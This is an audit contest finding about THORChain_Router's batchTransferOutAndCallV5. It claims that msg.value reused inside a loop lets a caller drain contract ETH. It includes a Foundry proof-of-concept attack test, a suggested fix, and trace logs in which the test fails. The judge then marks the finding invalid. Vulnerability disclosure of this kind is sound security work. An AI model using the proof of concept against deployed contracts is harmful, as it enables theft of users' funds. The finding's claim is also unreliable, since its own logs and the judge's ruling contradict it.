`THORChain_Router::batchTransferOutAndCallV5` can be abused and user can drain contract funds.

[howlbot-integration[bot]]

Lines of code

https://github.com/code-423n4/2024-06-thorchain/blob/e3fd3c75ff994dce50d6eb66eb290d467bd494f5/ethereum/contracts/THORChain_Router.sol#L307-L341

Vulnerability details

Description

Even if a user is supposed to interact only with depositWithExpiry, the function batchTransferOutAndCallV5 is external and callable by anyone.

In the external function batchTransferOutAndCallV5, in the case of fromAsset being address(0), the function is calling _transferOutAndCallV5 in a loop.

Then, it calls the target with the msg.value sent to the BATCH function instead of individually split it, a malicious user can trick the function by calling the batch function with multiple TransferOutAndCallData and msg.value and will actually get the contract ETH and could ultimately drain it.

The issue is that the msg.value received in batchTransferOutAndCallV5 is global and not mapped to a single transfer in the loop, the value sent is therefore incorrect. It's not recommended to use msg.value in a loop.

See the POC below.

A couple of TransferOutAndCallData are instantiated. The fromAsset is address(0). The target for both is alice.

At the beginning, alice has 1 ether. She calls the function with a value of 1 ether but ends up with 2 ethers.

What happens behind the scene is actually the same msg.value is used twice in the function to call the target, and so the final balance will be 2 ethers.

Impact

The integrity of the protocol is compromised.

POC

    function test_malicious() public {
      THORChain_Router.TransferOutAndCallData[] memory txs = new THORChain_Router.TransferOutAndCallData[](2);
      txs[0] = THORChain_Router.TransferOutAndCallData({
          target: payable(address(alice)),
          fromAsset: address(0),
          fromAmount: 1 ether,
          toAsset: address(0),
          recipient: address(0),
          amountOutMin: 0,
          memo: "",
          payload: "",
          originAddress: ""
        });

      txs[1] = THORChain_Router.TransferOutAndCallData({
          target: payable(address(alice)),
          fromAsset: address(0),
          fromAmount: 1 ether,
          toAsset: address(0),
          recipient: address(0),
          amountOutMin: 0,
          memo: "",
          payload: "",
          originAddress: ""
        });
      assertEq(alice.balance, 0 ether);
      vm.deal(alice, 1 ether);
      vm.deal(address(router), 20 ether);
      assertEq(alice.balance, 1 ether);
      vm.prank(alice);
      router.batchTransferOutAndCallV5{value: 1 ether}(txs);
      assertEq(alice.balance, 2 ether);
    }

Recommended Mitigation

Here could be ways to handle this:

The function _transferOutAndCallV5 should use the fromAmount and not msg.value.

The sum of fromAmount should be == to the msg.value passed to the batchTransferOutAndCallV5 function, and the _transferOutAndCallV5 function should use the fromAmount instead of the msg.value

function batchTransferOutAndCallV5(
    TransferOutAndCallData[] calldata aggregationPayloads
  ) external payable nonReentrant {

+    uint256 totalETHRequired = 0;

+    // Calculate the total amount of ETH required if fromAsset is address(0)
+    for (uint256 i = 0; i < aggregationPayloads.length; i++) {
+        if (aggregationPayloads[i].fromAsset == address(0)) {
+            totalETHRequired += aggregationPayloads[i].fromAmount;
+        }
+    }
+    require(msg.value == totalETHRequired, "Incorrect ETH value sent");
    for (uint i = 0; i < aggregationPayloads.length; ++i) {
      _transferOutAndCallV5(aggregationPayloads[i]);
    }
}

      (bool swapOutSuccess, ) = aggregationPayload.target.call{
+        value: aggregationPayload.fromAmount
-        value: msg.value
      }(

    [...]

    if (!swapOutSuccess) {
-        bool sendSuccess = payable(aggregationPayload.target).send(msg.value); // If can't swap, just send the recipient the gas asset
+        bool sendSuccess = payable(aggregationPayload.target).send(aggregationPayload.fromAmount); // If can't swap, just send the recipient the gas asset
        if (!sendSuccess) {
-          payable(address(msg.sender)).transfer(msg.value); // For failure, bounce back to vault & continue.
+          payable(address(msg.sender)).transfer(aggregationPayload.fromAmount); // For failure, bounce back to vault & continue.
        }
      }

      emit TransferOutAndCallV5(
        msg.sender,
        aggregationPayload.target,
-        msg.value,
+        aggregationPayload.fromAmount,
        aggregationPayload.toAsset,
        aggregationPayload.recipient,
        aggregationPayload.amountOutMin,
        aggregationPayload.memo,
        aggregationPayload.payload,
        aggregationPayload.originAddress
      );

Logs with the same test and the new logic in place:

  [77662] ThorTest::test_malicious()
    ├─ [0] VM::assertEq(0, 0) [staticcall]
    │   └─ ← [Return]
    ├─ [0] VM::deal(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], 1000000000000000000 [1e18])
    │   └─ ← [Return]
    ├─ [0] VM::deal(THORChain_Router: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], 20000000000000000000 [2e19])
    │   └─ ← [Return]
    ├─ [0] VM::assertEq(1000000000000000000 [1e18], 1000000000000000000 [1e18]) [staticcall]
    │   └─ ← [Return]
    ├─ [0] VM::prank(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6])
    │   └─ ← [Return]
    ├─ [56857] THORChain_Router::batchTransferOutAndCallV5{value: 1000000000000000000}([TransferOutAndCallData({ target: 0x328809Bc894f92807417D2dAD6b7C998c1aFdac6, fromAsset: 0x0000000000000000000000000000000000000000, fromAmount: 1000000000000000000 [1e18], toAsset: 0x0000000000000000000000000000000000000000, recipient: 0x0000000000000000000000000000000000000000, amountOutMin: 0, memo: "", payload: 0x, originAddress: "" }), TransferOutAndCallData({ target: 0x328809Bc894f92807417D2dAD6b7C998c1aFdac6, fromAsset: 0x0000000000000000000000000000000000000000, fromAmount: 0, toAsset: 0x0000000000000000000000000000000000000000, recipient: 0x0000000000000000000000000000000000000000, amountOutMin: 0, memo: "", payload: 0x, originAddress: "" })])
    │   ├─ [0] alice::swapOutV5{value: 1000000000000000000}(0x0000000000000000000000000000000000000000, 1000000000000000000 [1e18], 0x0000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000, 0, 0x, "")
    │   │   └─ ← [Stop]
    │   ├─ emit TransferOutAndCallV5(vault: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], target: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], amount: 1000000000000000000 [1e18], finalAsset: 0x0000000000000000000000000000000000000000, to: 0x0000000000000000000000000000000000000000, amountOutMin: 0, memo: "", payload: 0x, originAddress: "")
    │   ├─ [0] alice::swapOutV5(0x0000000000000000000000000000000000000000, 0, 0x0000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000, 0, 0x, "")
    │   │   └─ ← [Stop]
    │   ├─ emit TransferOutAndCallV5(vault: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], target: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], amount: 1000000000000000000 [1e18], finalAsset: 0x0000000000000000000000000000000000000000, to: 0x0000000000000000000000000000000000000000, amountOutMin: 0, memo: "", payload: 0x, originAddress: "")
    │   └─ ← [Stop]
    ├─ [0] VM::assertEq(1000000000000000000 [1e18], 2000000000000000000 [2e18]) [staticcall]
    │   └─ ← [Revert] assertion failed: 1000000000000000000 != 2000000000000000000
    └─ ← [Revert] assertion failed: 1000000000000000000 != 2000000000000000000

Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 6.16ms (540.54µs CPU time)

Ran 1 test suite in 942.65ms (6.16ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/THORChain_Router.t.sol:ThorTest
[FAIL. Reason: assertion failed: 1000000000000000000 != 2000000000000000000] test_malicious() (gas: 80462)

Assessed type

ETH-Transfer

[c4-judge]

trust1995 changed the severity to 2 (Med Risk)

[c4-judge]

trust1995 marked the issue as not a duplicate

[c4-judge]

trust1995 marked the issue as unsatisfactory: Invalid

[trust1995]

The issue does not uncover the revert impact, and the demonstrated impact is moot because the router does not have spare ETH.